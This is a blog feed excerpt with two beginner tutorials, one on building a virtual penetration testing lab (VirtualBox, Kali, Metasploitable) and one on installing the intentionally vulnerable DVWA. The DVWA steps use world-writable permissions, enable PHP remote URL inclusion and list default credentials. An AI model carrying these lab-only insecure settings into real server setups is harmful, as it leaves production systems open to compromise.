<p>If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available.</p>



<p>This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines you can start with.</p>






<h2 id="why-setup-a-virtual-penetration-testing-lab" class="wp-block-heading">Why Setup A Virtual Penetration Testing Lab</h2>



<p>The most apparent reason you would need a penetration testing lab is to practice what you learn and test the different available security tools.</p>



<p>However, other than convenience, there are more reasons as to why you need a virtual lab.</p>



<h3 id="1-your-safety" class="wp-block-heading">1. Your safety</h3>



<p>One is for your safety. Performing a penetration test on a system without permission from the owner is illegal and regarded as a computer crime. That can land you into trouble with the owner or even the authorities if issues escalate beyond control.</p>



<p>To avoid such problems and be on the safe side, you can host the various vulnerable machines available in your penetration testing lab and exploit them.</p>



<h3 id="2-its-isolated-from-the-real-world-environment" class="wp-block-heading">2. It&#8217;s isolated from the real-world environment</h3>



<p>This is another reason why a penetration testing lab is necessary. Anything you perform in the lab does not affect the systems or people around you.</p>



<p>For example, if you are trying to get into malware analysis, you will deal with real viruses (the <a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">WannaCry ransomware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>). There is a high risk of this malware spreading through the computer network or even storage drives shared among people in a real-world scenario.</p>



<p>This virus will be isolated with a virtual testing lab and can only impact the installed virtual machine, whichs is much more manageable.</p>



<h3 id="3-its-a-reliable-testing-platform" class="wp-block-heading">3. It&#8217;s a reliable testing platform</h3>



<p>Finally, a virtual penetration testing lab is flexible and will provide you with a reliable platform for research and development.</p>



<p>You can develop new security tools, advanced exploitation tactics in a controlled environment without affecting any systems or networks around you.</p>



<h2 id="understanding-virtualization-technology" class="wp-block-heading">Understanding Virtualization Technology</h2>



<p>When setting up a penetration testing lab, you will have two options to choose from:</p>



<ol class="squaretype-style wp-block-list"><li>Use locally-hosted virtualization technology (<em>Recommended</em>)</li><li>Set up a home lab with additional computer devices and components available.</li></ol>



<p>The latter (<em>home lab</em>) can be a little expensive and complicated to set up and manage. You will need to gather all computer devices and routers and use them to set up a lab. For example, you can have <strong>Computer A</strong> running your hacking distribution (say <em>Kali Linux</em>) and <strong>Computer B</strong> or <strong>C</strong> running your vulnerable machines (say <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">DVWA</a> or BWAPP). You will also need routers, switches, ethernet cables to manage the personal network.</p>



<p>Locally-hosted virtualization is much easier to set up, manage and only requires you to have one powerful PC that supports virtualization technology. That is the method that we will use in this post. Essentially, virtualization allows you to run more than one operating system on your computer. You will need to install virtualization software and use it to run the additional operating systems to get started. Some of the most common softwares are VirtualBox and VMware.</p>



<p><a href="https://www.virtualbox.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a free and open-source virtualization software developed by Oracle distributed under the GNU General Public License (GPL) version 2.</p>



<p><a href="https://www.vmware.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VMware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, on the other hand, is a commercial software company and has several products to offer. The only free version is the VMware Workstation Player intended for home or personal use. To get many more advanced features, including snapshots, you will need to upgrade to VMware Workstation pro.</p>



<p>Up to this point, I believe you have a good understanding of a penetration testing lab and the technology you need to come up with one.</p>



<p>Let’s dive in and set up our lab. Our virtualization software of choice for this post is VirtualBox.</p>



<h2 id="step-1-download-and-install-virtualbox-on-your-pc" class="wp-block-heading">Step 1. Download and Install VirtualBox on your PC</h2>



<p>To get started, you will need to install <a href="https://www.virtualbox.org/wiki/Downloads" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on your current operating system. That can be Windows, Linux, or macOS. Additionally, install the <a href="https://docs.oracle.com/cd/E36500_01/E36502/html/qs-guest-additions.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox guest Addition<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, which consists of drivers and system applications that improve the performance of your virtual machines. Other advantages of guest additions include:</p>



<ul class="wp-block-list"><li>Mouse pointer integration</li><li>Shared folders</li><li>Improved video support</li><li>Generic host/guest communication channels</li><li>Seamless window management</li><li>Shared clipboard</li><li>Time synchronization</li><li>Automated logins</li></ul>



<p>After a successful install, proceed to launch the virtual box from the application menu.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="871" height="352" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png" alt="" class="wp-image-3459" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png 871w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x121.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x310.png 768w" sizes="auto, (max-width: 871px) 100vw, 871px" /></figure>



<h2 id="step-2-install-kali-linux-on-virtualbox" class="wp-block-heading">Step 2. Install Kali Linux on VirtualBox</h2>



<p>Once you have VirtualBox installed and running, we can start installing our virtual machines. We will begin by installing the penetration testing distribution of our choice.</p>



<p>In this post, we will use Kali Linux. However, that should not limit you from using other security operating systems like BlackArch Linux, Parrot, etc.</p>



<p>To install Kali Linux virtual machine, we will not need to download the setup ISO file and configure everything from scratch. Nowadays, Kali Linux comes packaged in several formats.</p>



<ul class="wp-block-list"><li>Bare Metal setup &#8211; used to install Kali Linux on your PC in a single boot or multi-boot setup.</li><li>Virtual machines: This option provides you with pre-configured virtual machine images to install on your virtualization software. As of writing this post, the only supported virtualization platforms are VMware and VirtualBox.</li><li>ARM setup: Used for ARM devices such as the Raspberry Pi.</li><li>Cloud setup</li><li>Container setup (Docker)</li><li>Live Boot setup</li><li>WSL (Windows Subsystem for Linux)</li></ul>



<p>In this post, we will download the Kali Linux virtual machine setup for VirtualBox from the official <a href="https://www.kali.org/get-kali/#kali-virtual-machines" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Kali Linux download page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It is a `.ova`&nbsp;file.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="821" height="465" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png" alt="" class="wp-image-3460" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png 821w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-300x170.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-768x435.png 768w" sizes="auto, (max-width: 821px) 100vw, 821px" /></figure>



<p>After the download is complete, launch VirtualBox from your applications menu and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click on the <strong>File</strong> menu and select <strong>Import Appliance</strong>. Alternatively, you can use the keyboard shortcut (<strong>Ctrl + I</strong>).</li><li>A new window will open. Click on the <strong>file icon</strong>, select the `Kali Linux.ova` file you downloaded, and click <strong>Next</strong>.</li><li>In the next window, you will see all the information about the virtual machine. Select the <strong>import</strong> option at the bottom to import the virtual machine.</li></ol>



<p>After a successful import, you will see Kali Linux listed on your VirtualBox window, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="796" height="421" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png" alt="" class="wp-image-3461" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png 796w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-300x159.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-768x406.png 768w" sizes="auto, (max-width: 796px) 100vw, 796px" /></figure>



<p>You can tweak the settings of the virtual machine depending on your system resources. When done, click <strong>Start</strong> to boot the virtual machine. You don’t need to perform any configurations, just sit and wait till you get to the Kali Linux login screen.</p>



<p>The default credentials are:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: Kali</li><li><strong>Password</strong>: Kali</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="711" height="237" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png" alt="" class="wp-image-3462" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png 711w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-52-300x100.png 300w" sizes="auto, (max-width: 711px) 100vw, 711px" /></figure>



<h2 id="step-3-install-windows-10-on-virtualbox" class="wp-block-heading">Step 3. Install Windows 10 on VirtualBox</h2>



<p>Microsoft&#8217;s Windows is the most popular operating system used worldwide. As an ethical hacker, you need to understand how to exploit and find vulnerabilities on Windows systems and software. For that case, we will also need to install Windows as a virtual machine &#8211; specifically Windows 10. You can download Windows 10 ISO file from <a href="https://www.microsoft.com/en-us/software-download/windows10ISO" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Microsoft Official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>Launch VirtualBox and follow the steps below to install Windows 10</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>A small window will open. Enter the name of your new operating system (for example, Windows 10). Click <strong>Next</strong>.</li><li>Enter the memory size you wish to assign your new virtual machine and click <strong>Next</strong>.</li><li>In the next window, select Create a virtual hard disk now and click <strong>Next</strong>.</li><li>Select `VDI` (VirtualBox Disk Image)</li><li>Select whether you want to use the <strong>Dynamically allocated</strong> or <strong>Fixed Size</strong> hard disk on the next screen. Click <strong>Next</strong>.</li><li>Set the storage size of your Windows 10 virtual machine. Click <strong>Create</strong>.</li></ol>



<p>That will create a Windows 10 virtual machine, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="346" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png" alt="" class="wp-image-3463" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-300x130.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-768x333.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>To install Windows 10 as a virtual machine, click the <strong>Start</strong> button on the VirtualBox window. A window will pop up and prompt you to select the Windows 10 ISO file you downloaded.</p>



<p>Click <strong>Start</strong> when done. After a few seconds, you will get to the Windows 10 installation screen.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="635" height="373" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png" alt="" class="wp-image-3464" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-54-300x176.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure></div>



<p>Continue with the installation process like you were installing Windows natively on your PC.</p>



<p>When done, you can proceed to install Metasploitable.</p>



<h2 id="step-4-install-metasploitable" class="wp-block-heading">Step 4. Install Metasploitable</h2>



<p>Metasploitable is an intentionally vulnerable Linux-based system used to practice penetration testing.</p>



<p>Like the Kali Linux virtual machine, Metasploitable comes in a pre-configured virtual machine, making the whole installation easier.</p>



<p>Head over to <a href="https://sourceforge.net/projects/metasploitable/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and download the Metasploitable VM.</p>



<p>After a successful download, launch VirtualBox and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>Set a name for your virtualization machine (for example, `Metasploitable-2`). Click <strong>Next</strong>.</li><li>Set the memory (RAM) size. Metasploitable can run efficiently on 512 MB of RAM. Click <strong>Next</strong>.</li><li>On the next window, select <em>&#8220;Use an existing virtual hard disk file.&#8221;</em></li><li>Click the file icon and select the Metasploitable VMDK file.</li><li>Click <strong>Create</strong></li></ol>



<p>You should now see Metasploitale virtual machine on your VirtualBox window as shown in the image below:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="383" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png" alt="" class="wp-image-3465" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-300x144.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-768x369.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>Click <strong>Start</strong> to launch Metasploitable.</p>



<p>This vulnerable machine doesn’t come with a Graphical User Interface (GUI). Therefore, when it’s fully booted, all you will see is a console. Use the following default credentials to log in:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: msfadmin</li><li><strong>Password</strong>: msfadmin</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="736" height="254" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png" alt="" class="wp-image-3466" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png 736w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-56-300x104.png 300w" sizes="auto, (max-width: 736px) 100vw, 736px" /></figure>



<h2 id="final-thoughts" class="wp-block-heading">Final Thoughts</h2>



<p>This post has given you a step-by-step guide to setting up a virtual penetration testing guide. You can now use Kali Linux to exploit your target machines (Windows or Metapsploitable). However, that shouldn’t be the end. You can install more vulnerable machines like the Buggy Web Application (bWAPP), Bee Box, OWASP Broken Web Apps, and much more.</p>



<p>Additionally, depending on the field you want to specialize in, you can consider adding more advanced penetration testing systems. For example, if you’re going to specialize in web application security, try using the Samurai Web Testing Framework. Did you come across any issues, or do you have any additional information for our readers? Please, feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3458</post-id>	</item>
		<item>
		<title>How to Install DVWA on Kali Linux for Pentesting Practice</title>
		<link>https://nooblinux.com/how-to-install-dvwa/</link>
					<comments>https://nooblinux.com/how-to-install-dvwa/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:08:20 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3441</guid>

					<description><![CDATA[Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available. Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available.</p>



<p class="orange-border">Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term with hefty fines.</p>



<p>Practice makes perfect, but then, where do you practice hacking skills?</p>



<p>There are so many platforms available that you can use to practice penetration testing. Some of these are online platforms like <a href="https://tryhackme.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TryHackMe<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.hackthebox.eu/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HackTheBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, etc.</p>



<p>Some like <a href="https://vulnhub.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Vulnhub<span class="wpel-icon wpel-image wpel-icon-19"></span></a> allow you to download vulnerable virtual machines that you can exploit. This post will look at one of the platforms that you can install and set up on your Kali Linux system &#8211; The<strong><em> Damn Vulnerable Web Application (DVWA)</em></strong>.</p>



<p><strong>DVWA</strong> is a vulnerable web application developed with PHP and MYSQL.</p>



<p><strong>Yes!</strong> It’s intentionally developed to be vulnerable.</p>



<p>From my experience, it’s a great platform for both beginners and skilled since you have an option to set the desired security level (low, medium, high or impossible).</p>



<p>It’s also a great resource for web developers who wish to develop web applications with security in mind.</p>



<p class="blue-border">To learn a bit on how you can practice on it, you can check our related tutorial on <a href="https://nooblinux.com/sql-injection-exploitation-with-examples-using-dvwa/" data-wpel-link="internal">explaining SQL injections using DVWA</a></p>



<p>Let’s dive in and get started right away.</p>



<p class="purple-border"><strong>Note:</strong> This tutorial should work on other Debian-based distros, as well.</p>






<h2 id="step-1-download-dvwa" class="wp-block-heading">Step 1. Download DVWA</h2>



<p>Since we will be setting up DVWA on our localhost, launch the Terminal and navigate to the <code>/var/www/html</code> directory. That’s the location where localhost files are stored.</p>



<pre class="wp-block-preformatted promptkali">cd /var/www/html</pre>



<p>Next, we will clone the DVWA <a href="https://github.com/ethicalhack3r/DVWA" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GitHub repository<span class="wpel-icon wpel-image wpel-icon-19"></span></a> in the <strong>/html</strong> directory using the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo git clone https://github.com/ethicalhack3r/DVWA</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kali: 
Cloning into 'DVWA'...
remote: Enumerating objects: 3398, done.
remote: Counting objects: 100% (85/85), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 3398 (delta 38), reused 58 (delta 29), pack-reused 3313
Receiving objects: 100% (3398/3398), 1.65 MiB | 4.21 MiB/s, done.
Resolving deltas: 100% (1508/1508), done.</pre>



<h2 id="step-2-configure-dvwa" class="wp-block-heading">Step 2. Configure DVWA</h2>



<p>After successfully cloning the repository, run the ls command to confirm DVWA was successfully cloned.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">DVWA  index.html  index.nginx-debian.html</pre>



<p>From the image above, you can see the DVWA folder. Now we need to assign <strong>Read</strong>, <strong>Write</strong> and <strong>Execute</strong> permissions (<strong>777</strong>) to this folder. Execute the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo chmod -R 777 DVWA</pre>



<p>To set up and configure DVWA, we will need to navigate to the <strong>/dvwa/config</strong> directory. Use the command below:</p>



<pre class="wp-block-preformatted promptkali">cd DVWA/config</pre>



<p>Run the ls command to see the contents of the config directory.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php.dist</pre>



<p>You should see a file with the name <code>config.inc.php.dist</code>. That file contains the default DVWA configurations.</p>



<p>We will not tamper with it, and it will act as our backup if things go south. Instead, we will create a copy of this file with the name <code>config.inc.php</code> that we will use to configure DVWA. Use the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo cp config.inc.php.dist config.inc.php</pre>



<p>You can use the <code>ls</code> command to check if the file was copied successfully.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php  config.inc.php.dist</pre>



<p>Now, open the <code>config.inc.php</code> file with the <code>nano</code> editor to make the necessary configurations.</p>



<pre class="wp-block-preformatted promptkali">sudo nano config.inc.php</pre>



<p>Scroll down to the point where you will see parameters like <strong>db_database</strong>, <strong>db_user</strong>, <strong>db_password</strong>, etc., as shown in the image below. Feel free to change these values, but note them down since you will require them when setting up the database. In my case, I will set <strong>db_user</strong> to <code>userDVWA</code> and <strong>db_password</strong> to <code>dvwa</code>.</p>


<div class="codeblock-title">Changed <strong>db_user</strong> and <strong>db_password</strong></div>



<pre class="wp-block-preformatted">...
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'userDVWA';
$_DVWA[ 'db_password' ] = 'dvwa';
$_DVWA[ 'db_port'] = '3306';
...</pre>



<p>Save your changes (<strong>Ctrl + S</strong>) and Exit (<strong>Ctrl +X</strong>).</p>



<h2 id="step-3-configure-database" class="wp-block-heading">Step 3. Configure Database</h2>



<p>By default, Kali Linux comes installed with the <strong>MariaDB</strong> relational database management system. You, therefore, don’t need to install any packages. First, start the <strong>mysql service</strong> with the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start mysql</pre>



<p>You can check whether the service is running with the command:</p>



<pre class="wp-block-preformatted promptkali">systemctl status mysql</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● mariadb.service - MariaDB 10.5.9 database server
     Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 19:13:38 EDT; 8s ago
       Docs: man:mariadbd(8)
             https://mariadb.com/kb/en/library/systemd/
    Process: 1632 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /&gt;
    Process: 1634 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP&gt;
    Process: 1636 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] &gt;
    Process: 1699 ExecStartPost=/bin/sh -c systemctl unset-environment _WSRE&gt;
    Process: 1701 ExecStartPost=/etc/mysql/debian-start (code=exited, status&gt;
   Main PID: 1684 (mariadbd)
     Status: "Taking your SQL requests now..."
      Tasks: 15 (limit: 2287)
     Memory: 109.0M
        CPU: 1.339s
     CGroup: /system.slice/mariadb.service
             └─1684 /usr/sbin/mariadbd</pre>



<p>To log in to the database, use the command below. In our case, we are using <strong>root</strong> since that is the superuser name set on our system. If you have something different, then you will need to replace the root.</p>



<pre class="wp-block-preformatted promptkali">sudo mysql -u root -p</pre>



<p>You will be prompted for a password. However, since we haven’t set any yet, just hit Enter to continue.</p>



<pre class="wp-block-preformatted">Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 45
Server version: 10.5.9-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.</pre>



<p>We will first create a new user using the credentials we set in the <strong>config.inc.php</strong> file in the DVWA directory. Execute the command below, <em>replacing the username and password</em> with your preset credentials.</p>



<pre class="wp-block-preformatted promptmariadb">create user 'userDVWA'@'127.0.0.1' identified by "dvwa";</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.010 sec)</pre>



<p>We now need to grant this user total privilege over the <code>dvwa</code> database. Execute the command below, <em>replacing the username and password</em> with your credentials.</p>



<pre class="wp-block-preformatted promptmariadb">grant all privileges on dvwa.* to 'userDVWA'@'127.0.0.1' identified by 'dvwa';</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.001 sec)</pre>



<p>That’s it! We are done configuring the database. Type <strong>Exit</strong> to close it.</p>



<h2 id="step-4-configure-apache-server" class="wp-block-heading">Step 4. Configure Apache Server</h2>



<p>The Apache web server comes installed by default on Kali Linux. Therefore, we don’t have to need to install any additional packages.</p>



<p>To get started configuring <strong>Apache2</strong>, launch the <strong>Terminal</strong> and navigate the <code>/etc/php/7.4/apache2</code> directory.</p>



<p class="neon-border"><strong>Note</strong>: As of writing this post, the PHP version available for Kali Linux is 7.4. If there is an update, running the command might raise the<strong> no such file or directory</strong> error. Therefore, you might first want to check your PHP version (<code>ls /etc/php</code>) and replace it accordingly in the command above.</p>



<pre class="wp-block-preformatted promptkali">cd /etc/php/7.4/apache2</pre>



<p>When you execute the <strong>ls</strong> command, you will see a file called <code>php.ini</code>. Execute the command below to edit this file using the <strong>nano</strong> editor.</p>



<pre class="wp-block-preformatted promptkali">sudo nano php.ini</pre>



<p>Scroll and look for the <strong>allow_url_fopen</strong> and <strong>allow_url_include</strong> lines and ensure that both are set to <code>On</code>.</p>



<p>By default, both or one of them is always set to <code>Off</code>.</p>



<pre class="wp-block-preformatted">; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as &gt;
; http://php.net/allow-url-include
allow_url_include = On</pre>



<p>Save your changes (<strong>Ctrl +S</strong>) and Exit (<strong>Ctrl + X</strong>).</p>



<p>Proceed to start the apache webserver service with the command below. You can check whether the service is running by running the status command.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start apache2
systemctl status apache2</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● apache2.service - The Apache HTTP Server                                   
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 20:25:48 EDT; 5s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 2245 ExecStart=/usr/sbin/apachectl start (code=exited, status=0&gt;
   Main PID: 2256 (apache2)
      Tasks: 6 (limit: 2287)
     Memory: 17.8M
        CPU: 82ms
     CGroup: /system.slice/apache2.service
             ├─2256 /usr/sbin/apache2 -k start
             ├─2258 /usr/sbin/apache2 -k start
             ├─2259 /usr/sbin/apache2 -k start
             ├─2260 /usr/sbin/apache2 -k start
             ├─2261 /usr/sbin/apache2 -k start
             └─2262 /usr/sbin/apache2 -k start
</pre>



<h2 id="step-5-open-dvwa-on-your-web-browser" class="wp-block-heading">Step 5. Open DVWA on Your Web Browser</h2>



<p>Up to this point, we have configured DVWA, Database, and the Apache webserver.</p>



<p>We can now proceed to start the DVWA application. Launch your Web browser and type the URL below.</p>



<pre class="wp-block-preformatted">127.0.0/DVWA</pre>



<p>This action will redirect us to the DVWA <code>setup.php</code> page at <code>http://127.0.0.1/DVWA/setup.php</code>.</p>



<p>When you scroll down, you will see some errors in red color. <strong>Don’t panic!</strong> Click the <strong>Create / Reset Database</strong> button at the end of the page.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="848" height="329" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png" alt="" class="wp-image-3444" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png 848w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-300x116.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-768x298.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></figure>



<p>That will create and configure the DVWA database. After a few seconds, you will be redirected to the DVWA login page.</p>



<p>Use the <em>default credentials</em> below to log in.</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="523" height="362" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png" alt="" class="wp-image-3445" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png 523w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-28-300x208.png 300w" sizes="auto, (max-width: 523px) 100vw, 523px" /></figure></div>



<p>After successfully logging in, you will be greeted by the DVWA homepage. On the left side, you can see all the available vulnerable pages you can use to practice.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="723" height="440" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png" alt="" class="wp-image-3446" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png 723w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-29-300x183.png 300w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>You will also see the DVWA Security option that enables you to choose the security level depending on your skills.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="566" height="122" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png" alt="" class="wp-image-3447" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png 566w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-30-300x65.png 300w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>



<p>That’s it! Now, you can start testing out your web penetration skills on the DVWA.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>DVWA is a great platform for both beginners and advanced users because of its multi-layered security support. I believe this post has given you a detailed guide on how to set up DVWA on your Kali Linux system.</p>



<p>If you faced issues or errors in any of the steps above, please feel free to let us know in the comments section or by <a href="https://nooblinux.com/contact/" data-wpel-link="internal">contacting us</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-install-dvwa/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3441</post-id>	</item>
	</channel>
</rss>
